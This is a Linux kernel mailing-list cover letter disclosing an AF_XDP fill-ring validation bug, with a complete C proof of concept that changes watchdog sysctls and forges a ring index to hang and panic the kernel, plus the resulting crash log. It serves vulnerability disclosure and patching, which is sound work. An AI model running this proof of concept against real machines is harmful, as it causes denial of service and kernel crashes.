All of lore.kernel.org
 help / color / mirror / Atom feed
From: Zhiling Zou <zhilinz@nebusec.ai>
To: netdev@vger.kernel.org, bpf@vger.kernel.org
Cc: magnus.karlsson@intel.com, maciej.fijalkowski@intel.com,
	sdf@fomichev.me, davem@davemloft.net, edumazet@kernel.org,
	pabeni@redhat.com, horms@kernel.org, ast@kernel.org,
	daniel@iogearbox.net, hawk@kernel.org, john.fastabend@gmail.com,
	vega@nebusec.ai, zhilinz@nebusec.ai
Subject: [PATCH net 0/1] xsk: validate fill-ring producer index
Date: Thu, 22 Oct 2026 15:58:17 +0800	[thread overview]
Message-ID: <cover.1792654486.git.zhilinz@nebusec.ai> (raw)

Hi Linux kernel maintainers,

We found and validated an issue in net/xdp/xsk_queue.h. A process with
permissions to create and attach the required XDP program and AF_XDP
socket can forge the fill-ring producer index and cause a long kernel
loop while handling a packet. The supplied reproducer was run as root in
the QEMU guest.

This bug is tracked at: https://bugtracker.nebusec.ai/f/13760

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

__xskq_cons_peek() reads the fill-ring producer index from userspace
without validating that producer - cached_cons is no greater than the
ring capacity. __xp_alloc() consumes invalid fill descriptors one at a
time until cached_prod is reached. With a one-entry ring containing an
invalid address and producer set to UINT_MAX, each iteration reads the
same masked descriptor while advancing cached_cons, yielding billions of
iterations in the packet receive path. In generic XDP mode this occurs
under the AF_XDP RX lock in softirq context and can trigger a soft-lockup
watchdog panic.

Treat producer values whose distance exceeds q->nentries as an empty
queue. Valid ring wraparound remains handled by unsigned index
subtraction, and the consumer does not process beyond the ring capacity.

Reproducer:

    gcc -O2 -Wall -o poc poc.c -lbpf
    ./poc

The PoC sets the watchdog sysctls, creates a veth pair and a one-entry
AF_XDP fill ring, forges producer = UINT_MAX with an invalid descriptor,
and sends one packet through a generic XDP redirect. It requires libbpf
and privileges to create the XSKMAP and attach the XDP program. We run
the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

    #define _GNU_SOURCE

    #include <arpa/inet.h>
    #include <bpf/bpf.h>
    #include <bpf/libbpf.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <linux/bpf.h>
    #include <linux/if_link.h>
    #include <linux/if_xdp.h>
    #include <net/if.h>
    #include <netinet/in.h>
    #include <signal.h>
    #include <stdarg.h>
    #include <stdbool.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/socket.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <time.h>
    #include <unistd.h>

    #ifndef SOL_XDP
    #define SOL_XDP 283
    #endif

    #ifndef AF_XDP
    #define AF_XDP 44
    #endif

    #ifndef PF_XDP
    #define PF_XDP AF_XDP
    #endif

    #ifndef BPF_PSEUDO_MAP_FD
    #define BPF_PSEUDO_MAP_FD 1
    #endif

    #define UMEM_SIZE 4096
    #define CHUNK_SIZE 2048
    #define FRAME_HEADROOM 0
    #define RING_SIZE 1

    #define BPF_MOV64_IMM(DST, IMM) \
    	((struct bpf_insn) { \
    		.code = BPF_ALU64 | BPF_MOV | BPF_K, \
    		.dst_reg = DST, \
    		.src_reg = 0, \
    		.off = 0, \
    		.imm = IMM, \
    	})

    #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
    	((struct bpf_insn) { \
    		.code = BPF_LD | BPF_DW | BPF_IMM, \
    		.dst_reg = DST, \
    		.src_reg = SRC, \
    		.off = 0, \
    		.imm = (__u32)(IMM), \
    	}), \
    	((struct bpf_insn) { \
    		.code = 0, \
    		.dst_reg = 0, \
    		.src_reg = 0, \
    		.off = 0, \
    		.imm = ((__u64)(IMM)) >> 32, \
    	})

    #define BPF_LD_MAP_FD(DST, MAP_FD) \
    	BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

    #define BPF_EMIT_CALL(FUNC) \
    	((struct bpf_insn) { \
    		.code = BPF_JMP | BPF_CALL, \
    		.dst_reg = 0, \
    		.src_reg = 0, \
    		.off = 0, \
    		.imm = FUNC, \
    	})

    #define BPF_EXIT_INSN() \
    	((struct bpf_insn) { \
    		.code = BPF_JMP | BPF_EXIT, \
    		.dst_reg = 0, \
    		.src_reg = 0, \
    		.off = 0, \
    		.imm = 0, \
    	})

    struct xsk_ring_map {
    	void *base;
    	__u32 *producer;
    	__u32 *consumer;
    	__u32 *flags;
    	__u64 *desc;
    	size_t map_len;
    };

    struct poc_ctx {
    	char if_in[IFNAMSIZ];
    	char if_peer[IFNAMSIZ];
    	int ifindex;
    	int map_fd;
    	int prog_fd;
    	int xsk_fd;
    	void *umem;
    	struct xsk_ring_map fill;
    	struct xsk_ring_map comp;
    	void *rx_map;
    	size_t rx_map_len;
    	bool xdp_attached;
    	bool created_link;
    	bool set_watchdog;
    	bool no_sysctls;
    	bool exit_after_send;
    	uint32_t forged_producer;
    };

    static struct poc_ctx *global_ctx;

    static void die(const char *fmt, ...)
    {
    	va_list ap;

    	va_start(ap, fmt);
    	vfprintf(stderr, fmt, ap);
    	va_end(ap);
    	fputc('\n', stderr);
    	exit(1);
    }

    static void die_errno(const char *what)
    {
    	die("%s: %s", what, strerror(errno));
    }

    static int sys_bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size)
    {
    	return syscall(__NR_bpf, cmd, attr, size);
    }

    static int write_file(const char *path, const char *val)
    {
    	int fd, ret;

    	fd = open(path, O_WRONLY | O_CLOEXEC);
    	if (fd < 0)
    		return -1;

    	ret = write(fd, val, strlen(val));
    	close(fd);
    	return ret < 0 ? -1 : 0;
    }

    static void try_set_watchdog_sysctls(struct poc_ctx *ctx)
    {
    	if (ctx->no_sysctls)
    		return;

    	if (!write_file("/proc/sys/kernel/panic_on_warn", "0\n") &&
    	    !write_file("/proc/sys/kernel/softlockup_panic", "1\n") &&
    	    !write_file("/proc/sys/kernel/watchdog_thresh", "5\n")) {
    		ctx->set_watchdog = true;
    		fprintf(stderr,
    			"[+] Set panic_on_warn=0, softlockup_panic=1, watchdog_thresh=5\n");
    		return;
    	}

    	fprintf(stderr,
    		"[!] Failed to tune watchdog sysctls, continuing without them\n");
    }

    static int run_cmd(const char *fmt, ...)
    {
    	char cmd[512];
    	va_list ap;
    	int ret;

    	va_start(ap, fmt);
    	vsnprintf(cmd, sizeof(cmd), fmt, ap);
    	va_end(ap);

    	ret = system(cmd);
    	if (ret == -1)
    		return -1;
    	return WEXITSTATUS(ret);
    }

    static void cleanup(void)
    {
    	struct poc_ctx *ctx = global_ctx;

    	if (!ctx)
    		return;

    	if (ctx->xdp_attached)
    		bpf_xdp_detach(ctx->ifindex, XDP_FLAGS_SKB_MODE, NULL);
    	if (ctx->prog_fd >= 0)
    		close(ctx->prog_fd);
    	if (ctx->map_fd >= 0)
    		close(ctx->map_fd);
    	if (ctx->xsk_fd >= 0)
    		close(ctx->xsk_fd);
    	if (ctx->fill.base)
    		munmap(ctx->fill.base, ctx->fill.map_len);
    	if (ctx->comp.base)
    		munmap(ctx->comp.base, ctx->comp.map_len);
    	if (ctx->rx_map)
    		munmap(ctx->rx_map, ctx->rx_map_len);
    	if (ctx->umem)
    		munmap(ctx->umem, UMEM_SIZE);
    	if (ctx->created_link)
    		run_cmd("ip link del %s >/dev/null 2>&1", ctx->if_in);
    }

    static void on_signal(int signo)
    {
    	(void)signo;
    	_exit(128 + signo);
    }

    static void install_handlers(void)
    {
    	struct sigaction sa = {
    		.sa_handler = on_signal,
    	};

    	sigemptyset(&sa.sa_mask);
    	sigaction(SIGINT, &sa, NULL);
    	sigaction(SIGTERM, &sa, NULL);
    	atexit(cleanup);
    }

    static void setup_links(struct poc_ctx *ctx)
    {
    	unsigned int id = getpid() % 10000;

    	snprintf(ctx->if_in, sizeof(ctx->if_in), "xskp%04u", id);
    	snprintf(ctx->if_peer, sizeof(ctx->if_peer), "xskq%04u", id);

    	run_cmd("ip link del %s >/dev/null 2>&1", ctx->if_in);
    	run_cmd("ip link del %s >/dev/null 2>&1", ctx->if_peer);

    	if (run_cmd("ip link add %s numtxqueues 1 numrxqueues 1 type veth peer name %s numtxqueues 1 numrxqueues 1",
    		    ctx->if_in, ctx->if_peer))
    		die("failed to create veth pair");
    	ctx->created_link = true;

    	if (run_cmd("ip addr add 10.23.0.1/24 dev %s", ctx->if_in) ||
    	    run_cmd("ip addr add 10.23.0.2/24 dev %s", ctx->if_peer) ||
    	    run_cmd("ip link set %s up", ctx->if_in) ||
    	    run_cmd("ip link set %s up", ctx->if_peer))
    		die("failed to configure veth pair");

    	ctx->ifindex = if_nametoindex(ctx->if_in);
    	if (!ctx->ifindex)
    		die_errno("if_nametoindex");

    	fprintf(stderr, "[+] Using %s (ifindex %d) and peer %s\n",
    		ctx->if_in, ctx->ifindex, ctx->if_peer);
    }

    static int create_xskmap(void)
    {
    	union bpf_attr attr;

    	memset(&attr, 0, sizeof(attr));
    	attr.map_type = BPF_MAP_TYPE_XSKMAP;
    	attr.key_size = sizeof(__u32);
    	attr.value_size = sizeof(__u32);
    	attr.max_entries = 1;
    	memcpy(attr.map_name, "xsks_map", sizeof("xsks_map"));

    	return sys_bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
    }

    static int load_xdp_prog(int map_fd)
    {
    	static char log_buf[65536];
    	struct bpf_insn prog[] = {
    		BPF_LD_MAP_FD(BPF_REG_1, map_fd),
    		BPF_MOV64_IMM(BPF_REG_2, 0),
    		BPF_MOV64_IMM(BPF_REG_3, XDP_PASS),
    		BPF_EMIT_CALL(BPF_FUNC_redirect_map),
    		BPF_EXIT_INSN(),
    	};
    	union bpf_attr attr;

    	memset(&attr, 0, sizeof(attr));
    	attr.prog_type = BPF_PROG_TYPE_XDP;
    	attr.insn_cnt = sizeof(prog) / sizeof(prog[0]);
    	attr.insns = (uintptr_t)prog;
    	attr.license = (uintptr_t)"GPL";
    	attr.log_buf = (uintptr_t)log_buf;
    	attr.log_size = sizeof(log_buf);
    	attr.log_level = 1;

    	map_fd = sys_bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
    	if (map_fd < 0)
    		fprintf(stderr, "%s\n", log_buf);
    	return map_fd;
    }

    static void attach_xdp(struct poc_ctx *ctx)
    {
    	int err;

    	err = bpf_xdp_attach(ctx->ifindex, ctx->prog_fd,
    			     XDP_FLAGS_SKB_MODE | XDP_FLAGS_UPDATE_IF_NOEXIST,
    			     NULL);
    	if (err)
    		die("bpf_xdp_attach: %s", strerror(-err));
    	ctx->xdp_attached = true;
    	fprintf(stderr, "[+] Attached generic XDP redirect program to %s\n",
    		ctx->if_in);
    }

    static void map_ring(void *base, const struct xdp_ring_offset *off,
    		     struct xsk_ring_map *ring, size_t entries, bool fill_ring)
    {
    	ring->base = base;
    	ring->producer = base + off->producer;
    	ring->consumer = base + off->consumer;
    	ring->flags = base + off->flags;
    	ring->desc = base + off->desc;
    	ring->map_len = off->desc + entries * (fill_ring ? sizeof(__u64) :
    						    sizeof(struct xdp_desc));
    }

    static void setup_xsk(struct poc_ctx *ctx)
    {
    	struct sockaddr_xdp sxdp;
    	struct xdp_mmap_offsets off;
    	struct xdp_umem_reg mr;
    	socklen_t optlen;
    	int entries = RING_SIZE;

    	ctx->xsk_fd = socket(AF_XDP, SOCK_RAW | SOCK_CLOEXEC, 0);
    	if (ctx->xsk_fd < 0)
    		die_errno("socket(AF_XDP)");

    	ctx->umem = mmap(NULL, UMEM_SIZE, PROT_READ | PROT_WRITE,
    			 MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    	if (ctx->umem == MAP_FAILED)
    		die_errno("mmap(umem)");

    	memset(&mr, 0, sizeof(mr));
    	mr.addr = (uintptr_t)ctx->umem;
    	mr.len = UMEM_SIZE;
    	mr.chunk_size = CHUNK_SIZE;
    	mr.headroom = FRAME_HEADROOM;
    	if (setsockopt(ctx->xsk_fd, SOL_XDP, XDP_UMEM_REG, &mr, sizeof(mr)))
    		die_errno("setsockopt(XDP_UMEM_REG)");
    	if (setsockopt(ctx->xsk_fd, SOL_XDP, XDP_UMEM_FILL_RING, &entries, sizeof(entries)))
    		die_errno("setsockopt(XDP_UMEM_FILL_RING)");
    	if (setsockopt(ctx->xsk_fd, SOL_XDP, XDP_UMEM_COMPLETION_RING, &entries, sizeof(entries)))
    		die_errno("setsockopt(XDP_UMEM_COMPLETION_RING)");
    	if (setsockopt(ctx->xsk_fd, SOL_XDP, XDP_RX_RING, &entries, sizeof(entries)))
    		die_errno("setsockopt(XDP_RX_RING)");

    	memset(&off, 0, sizeof(off));
    	optlen = sizeof(off);
    	if (getsockopt(ctx->xsk_fd, SOL_XDP, XDP_MMAP_OFFSETS, &off, &optlen))
    		die_errno("getsockopt(XDP_MMAP_OFFSETS)");

    	ctx->fill.base = mmap(NULL, off.fr.desc + RING_SIZE * sizeof(__u64),
    			      PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
    			      ctx->xsk_fd, XDP_UMEM_PGOFF_FILL_RING);
    	if (ctx->fill.base == MAP_FAILED)
    		die_errno("mmap(fill)");
    	map_ring(ctx->fill.base, &off.fr, &ctx->fill, RING_SIZE, true);

    	ctx->comp.base = mmap(NULL, off.cr.desc + RING_SIZE * sizeof(__u64),
    			      PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
    			      ctx->xsk_fd, XDP_UMEM_PGOFF_COMPLETION_RING);
    	if (ctx->comp.base == MAP_FAILED)
    		die_errno("mmap(comp)");
    	map_ring(ctx->comp.base, &off.cr, &ctx->comp, RING_SIZE, true);

    	ctx->rx_map_len = off.rx.desc + RING_SIZE * sizeof(struct xdp_desc);
    	ctx->rx_map = mmap(NULL, ctx->rx_map_len, PROT_READ | PROT_WRITE,
    			   MAP_SHARED | MAP_POPULATE, ctx->xsk_fd, XDP_PGOFF_RX_RING);
    	if (ctx->rx_map == MAP_FAILED)
    		die_errno("mmap(rx)");

    	memset(&sxdp, 0, sizeof(sxdp));
    	sxdp.sxdp_family = PF_XDP;
    	sxdp.sxdp_ifindex = ctx->ifindex;
    	sxdp.sxdp_queue_id = 0;
    	sxdp.sxdp_flags = 0;
    	if (bind(ctx->xsk_fd, (struct sockaddr *)&sxdp, sizeof(sxdp)))
    		die_errno("bind(AF_XDP)");

    	fprintf(stderr, "[+] AF_XDP socket bound to %s queue 0\n", ctx->if_in);
    }

    static void update_xskmap(struct poc_ctx *ctx)
    {
    	__u32 key = 0;

    	if (bpf_map_update_elem(ctx->map_fd, &key, &ctx->xsk_fd, 0))
    		die_errno("bpf_map_update_elem(XSKMAP)");
    	fprintf(stderr, "[+] XSKMAP[0] now points at the AF_XDP socket\n");
    }

    static void forge_fill_ring(struct poc_ctx *ctx)
    {
    	ctx->fill.desc[0] = UINT64_MAX;
    	__sync_synchronize();
    	*ctx->fill.producer = ctx->forged_producer;
    	__sync_synchronize();
    	fprintf(stderr,
    		"[+] Forged fill ring: desc[0]=0x%016llx producer=%u consumer=%u\n",
    		(unsigned long long)ctx->fill.desc[0], *ctx->fill.producer,
    		*ctx->fill.consumer);
    }

    static void send_trigger_packet(struct poc_ctx *ctx)
    {
    	struct sockaddr_in addr = {
    		.sin_family = AF_INET,
    		.sin_port = htons(1337),
    	};
    	struct timespec start, end;
    	static const char payload[] = "x";
    	int fd;

    	addr.sin_addr.s_addr = htonl(0x0a170001);

    	fd = socket(AF_INET, SOCK_DGRAM, 0);
    	if (fd < 0)
    		die_errno("socket(AF_INET)");

    	if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, ctx->if_peer,
    		       strlen(ctx->if_peer) + 1))
    		die_errno("setsockopt(SO_BINDTODEVICE)");

    	fprintf(stderr, "[+] Sending one UDP packet via %s to trigger RX allocation\n",
    		ctx->if_peer);
    	clock_gettime(CLOCK_MONOTONIC, &start);
    	if (sendto(fd, payload, sizeof(payload), 0,
    		   (struct sockaddr *)&addr, sizeof(addr)) < 0)
    		die_errno("sendto");
    	clock_gettime(CLOCK_MONOTONIC, &end);
    	close(fd);
    	fprintf(stderr, "[+] sendto() returned after %.3f seconds\n",
    		(end.tv_sec - start.tv_sec) +
    		(end.tv_nsec - start.tv_nsec) / 1000000000.0);
    }

    static void usage(const char *prog)
    {
    	fprintf(stderr,
    		"Usage: %s [--producer N] [--no-sysctls] [--exit-after-send]\n"
    		"  --producer N   Forged fill-ring producer value (default UINT_MAX)\n"
    		"  --no-sysctls   Skip watchdog/panic sysctl tuning\n",
    		prog);
    }

    int main(int argc, char **argv)
    {
    	struct poc_ctx ctx = {
    		.map_fd = -1,
    		.prog_fd = -1,
    		.xsk_fd = -1,
    		.forged_producer = UINT32_MAX,
    	};
    	int i;

    	for (i = 1; i < argc; i++) {
    		if (!strcmp(argv[i], "--producer")) {
    			char *endp;
    			unsigned long long v;

    			if (++i >= argc)
    				die("--producer requires an argument");
    			v = strtoull(argv[i], &endp, 0);
    			if (*endp || v > UINT32_MAX)
    				die("invalid producer value: %s", argv[i]);
    			ctx.forged_producer = v;
    		} else if (!strcmp(argv[i], "--no-sysctls")) {
    			ctx.no_sysctls = true;
    		} else if (!strcmp(argv[i], "--exit-after-send")) {
    			ctx.exit_after_send = true;
    		} else {
    			usage(argv[0]);
    			return 1;
    		}
    	}

    	global_ctx = &ctx;
    	install_handlers();
    	try_set_watchdog_sysctls(&ctx);
    	setup_links(&ctx);

    	ctx.map_fd = create_xskmap();
    	if (ctx.map_fd < 0)
    		die_errno("BPF_MAP_CREATE(XSKMAP)");

    	ctx.prog_fd = load_xdp_prog(ctx.map_fd);
    	if (ctx.prog_fd < 0)
    		die_errno("BPF_PROG_LOAD(XDP)");

    	attach_xdp(&ctx);
    	setup_xsk(&ctx);
    	update_xskmap(&ctx);
    	forge_fill_ring(&ctx);
    	send_trigger_packet(&ctx);

    	fprintf(stderr, "[+] Trigger packet sent; if the bug is reachable the kernel should now spin in __xp_alloc()\n");
    	if (ctx.exit_after_send)
    		return 0;
    	pause();
    	return 0;
    }

------END poc.c------

----BEGIN crash log----

[  593.167690][    C0] watchdog: BUG: soft lockup - CPU#0 stuck for 13s! [kworker/0:1:11]
[  593.167804][    C0] Modules linked in:
[  593.167883][    C0] CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  593.167928][    C0] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  593.167950][    C0] Workqueue: mld mld_ifc_work
[  593.168064][    C0] RIP: 0010:__pv_queued_spin_lock_slowpath+0x7d2/0xec0
[  593.168229][    C0] Call Trace:
[  593.168236][    C0]  <IRQ>
[  593.168466][    C0]  do_raw_spin_lock+0x1e7/0x270
[  593.168519][    C0]  _raw_spin_lock_bh+0x6d/0x80
[  593.168533][    C0]  xsk_generic_rcv+0x12f/0x420
[  593.168566][    C0]  xdp_do_generic_redirect+0x5d8/0xc30
[  593.168625][    C0]  do_xdp_generic+0x875/0xcf0
[  593.168902][    C0]  __netif_receive_skb_core.constprop.0+0x1570/0x3770
[  593.169262][    C0]  __netif_receive_skb_one_core+0xaf/0x1b0
[  593.169377][    C0]  process_backlog+0x309/0xf00
[  593.169417][    C0]  __napi_poll.constprop.0+0xa7/0x580
[  593.169441][    C0]  net_rx_action+0x4d4/0xc70
[  593.169720][    C0]  do_softirq.part.0+0x3f/0xa0
[  593.169763][    C0]  </IRQ>
[  593.169780][    C0]  <TASK>
[  593.171109][    C0] Kernel panic - not syncing: softlockup: hung tasks
[  593.257697][    C0] CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Tainted: G             L   6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  593.257960][    C0] Tainted: [L]=SOFTLOCKUP
[  593.258298][    C0] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  593.259618][    C0] Call Trace:
[  593.259908][    C0]  <IRQ>
[  593.260275][    C0]  panic+0x349/0x880
[  593.262191][    C0]  hrtimer_interrupt+0x2cd/0x7e0
[  593.264680][    C0]  sysvec_apic_timer_interrupt+0x38/0x90
[  593.265638][    C0] RIP: 0010:__pv_queued_spin_lock_slowpath+0x7d2/0xec0
[  593.275692][    C0]  do_raw_spin_lock+0x1e7/0x270
[  593.276520][    C0]  _raw_spin_lock_bh+0x6d/0x80
[  593.276911][    C0]  xsk_generic_rcv+0x12f/0x420
[  593.277284][    C0]  xdp_do_generic_redirect+0x5d8/0xc30
[  593.277680][    C0]  do_xdp_generic+0x875/0xcf0
[  593.282674][    C0]  __netif_receive_skb_core.constprop.0+0x1570/0x3770
[  593.294532][    C0]  __netif_receive_skb_one_core+0xaf/0x1b0
[  593.296764][    C0]  process_backlog+0x33c/0xf00
[  593.297424][    C0]  __napi_poll.constprop.0+0xa7/0x580
[  593.297804][    C0]  net_rx_action+0x4d4/0xc70
[  593.299256][    C0]  handle_softirqs+0x282/0x7d0
[  593.300505][    C0]  do_softirq.part.0+0x3f/0xa0
[  593.300910][    C0]  </IRQ>
[  593.301142][    C0]  <TASK>
[  593.301371][    C0]  __local_bh_enable_ip+0x79/0x80
[  593.302175][    C0]  __dev_queue_xmit+0xc0a/0x31d0
[  593.312452][    C0]  ip6_finish_output2+0xc44/0x1c00
[  593.314380][    C0]  ip6_output+0x203/0x5f0
[  593.316379][    C0]  NF_HOOK.constprop.0+0x1f4/0x2e0
[  593.320541][    C0]  mld_sendpack+0x5bf/0xa40
[  593.321756][    C0]  __lock_acquire.isra.0+0x5cb/0x1230
[  593.322191][    C0]  mld_ifc_work+0x499/0xb40
[  593.323741][    C0]  process_one_work+0x80f/0x1680
[  593.324921][    C0]  worker_thread+0x618/0x1140
[  593.328619][    C0]  kthread+0x2bd/0x3a0
[  593.329659][    C0]  ret_from_fork+0x31/0x70
[  593.330303][    C0]  ret_from_fork_asm+0x1a/0x30
[  593.330654][    C0]  </TASK>
[  594.382053][    C0] Shutting down cpus with NMI
[  594.382738][    C0] Kernel Offset: disabled
[  594.383045][    C0] Rebooting in 10 seconds..

-----END crash log-----

Best regards,
Zhiling Zou


Zhiling Zou (1):
  xsk: validate consumer ring producer index

 net/xdp/xsk_queue.h | 3 +++
 1 file changed, 3 insertions(+)


             reply	other threads:[~2026-10-22  7:58 UTC|newest]

Thread overview: 8+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-10-22  7:58 Zhiling Zou [this message]
2026-10-22  7:58 ` [PATCH net 1/1] xsk: validate consumer ring producer index Zhiling Zou
2026-10-22  9:08   ` Magnus Karlsson
2026-10-23  7:59   ` sashiko-bot
2026-10-26 14:28     ` Björn Töpel
2026-10-27 13:11   ` Maciej Fijalkowski
2026-10-22  8:03 ` [PATCH net 0/1] xsk: validate fill-ring " netdev-bot+sinfo
2026-10-22  8:04   ` zhilin zou

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1792654486.git.zhilinz@nebusec.ai \
    --to=zhilinz@nebusec.ai \
    --cc=ast@kernel.org \
    --cc=bpf@vger.kernel.org \
    --cc=daniel@iogearbox.net \
    --cc=davem@davemloft.net \
    --cc=edumazet@kernel.org \
    --cc=hawk@kernel.org \
    --cc=horms@kernel.org \
    --cc=john.fastabend@gmail.com \
    --cc=maciej.fijalkowski@intel.com \
    --cc=magnus.karlsson@intel.com \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=sdf@fomichev.me \
    --cc=vega@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.